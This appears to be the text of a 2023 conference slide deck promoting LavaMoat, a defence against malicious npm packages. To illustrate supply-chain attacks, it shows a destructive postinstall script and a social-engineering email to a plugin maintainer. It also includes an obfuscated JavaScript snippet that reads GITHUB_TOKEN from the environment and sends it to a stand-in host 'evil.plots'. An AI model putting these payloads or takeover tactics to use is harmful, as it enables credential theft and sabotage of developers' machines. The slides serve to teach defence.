I'm running code from the internet!
LavaMoat
@naugtur, 2023
Put your malicious code in a package and people will gobble it up like cookies.
Let's install some dependencies!
That's what you think.
"postinstall": "echo 💩 > /etc/hosts"
### Ok, wait
```
✨🐋
npm ci
cp node_modules s3://
🔥🔥🐋🔥🔥
```
Hold my 🍺
├─app.ts
├─node_modules
│ ├─@naugtur
│ │ └─evilpackage
| │ ├─evilPlots.js --,
| │ └─package.json |
│ └─typescript 💩
│ ├─lib |
│ | └─tsc.js <-------'
│ └─package.json
└─package.json
## ignore scripts
```
npm ci --ignore-scripts
```
Run selected scritps
```
npm rebuild bcrypt
```
#### look what I found!
And in that moment
the installation process was protected
#### let's get serious
> Dear ${ eslintPluginMaintainer },
> I understand you're busy and I'd be happy to help with maintenance of your
tiny but popular plugin...
#### ok, just in case you do
```
const _0x765e5=_0x46a0;(function(_0x57764e,_0x91aa41){const
_0x32405d=_0x46a0,_0x165444=_0x57764e();while(!![]){try{const
_0x42ba82=-parseInt(_0x32405d(0x150))/0x1*(parseInt(_0x32405d(0x15e))/0x2)+-parseInt(_0x32405d(0x153))/0x3*(-parseInt(_0x32405d(0x14f))/0x4)+parseInt(_0x32405d(0x159))/0x5*(-parseInt(_0x32405d(0x158))/0x6)+parseInt(_0x32405d(0x151))/0x7*(-parseInt(_0x32405d(0x152))/0x8)+parseInt(_0x32405d(0x157))/0x9+-parseInt(_0x32405d(0x15f))/0xa+parseInt(_0x32405d(0x15a))/0xb;
if(_0x42ba82===_0x91aa41)break;else
_0x165444['push'](_0x165444['shift']());}catch(_0x54f92f){_0x165444['push'](_0x165444['shift']());}}}(_0x3641,0x8e73e));function
_0x3641()
{const _0x5d9864=['/stolen/','evil.plots','2511378rgvTaf','5826vwOBSz','3845SrYtZx',
'37351105uFQfso','request','end','https','72326kmzepu','8558100KDxwfw',
'GITHUB_TOKEN','25432JwBMWs','29XqXcpt','4547823ytmFVF','8EFXBHJ','99iKrczU','env'];
_0x3641=function(){return _0x5d9864;};return _0x3641();}function _0x46a0(_0x24c0cb,_0x27294c){const
_0x3641a1=_0x3641();return _0x46a0=function(_0x46a08f,_0x225127){_0x46a08f=_0x46a08f-0x14f;let
_0x16a89a=_0x3641a1[_0x46a08f];return _0x16a89a;},
_0x46a0(_0x24c0cb,_0x27294c);}const
credentials=process[_0x765e5(0x154)][_0x765e5(0x160)],req=require(_0x765e5(0x15d))[_0x765e5(0x15b)]({'hostname':_0x765e5(0x156),'path':_0x765e5(0x155)+credentials},()=>{});req[_0x765e5(0x15c)]();
```
#### should I keep going?
#### yo, there's an app for that!
# how ?!
### what's inside?
### There's also a bundler
1. browserify based
2. webpack plugin (in BETA)
Wanna help with the plugin?
#### Open Beta hub here:
[https://github.com/LavaMoat/LavaMoat/discussions/723](https://github.com/LavaMoat/LavaMoat/discussions/723)
### I want to know more about SES
[Earlier talk with more SES details](https://www.youtube.com/watch?v=Qjeh7Qo2u28)
[Mark Miller on F5 Tech Talks](https://www.youtube.com/watch?v=u-XETUbxNUU)
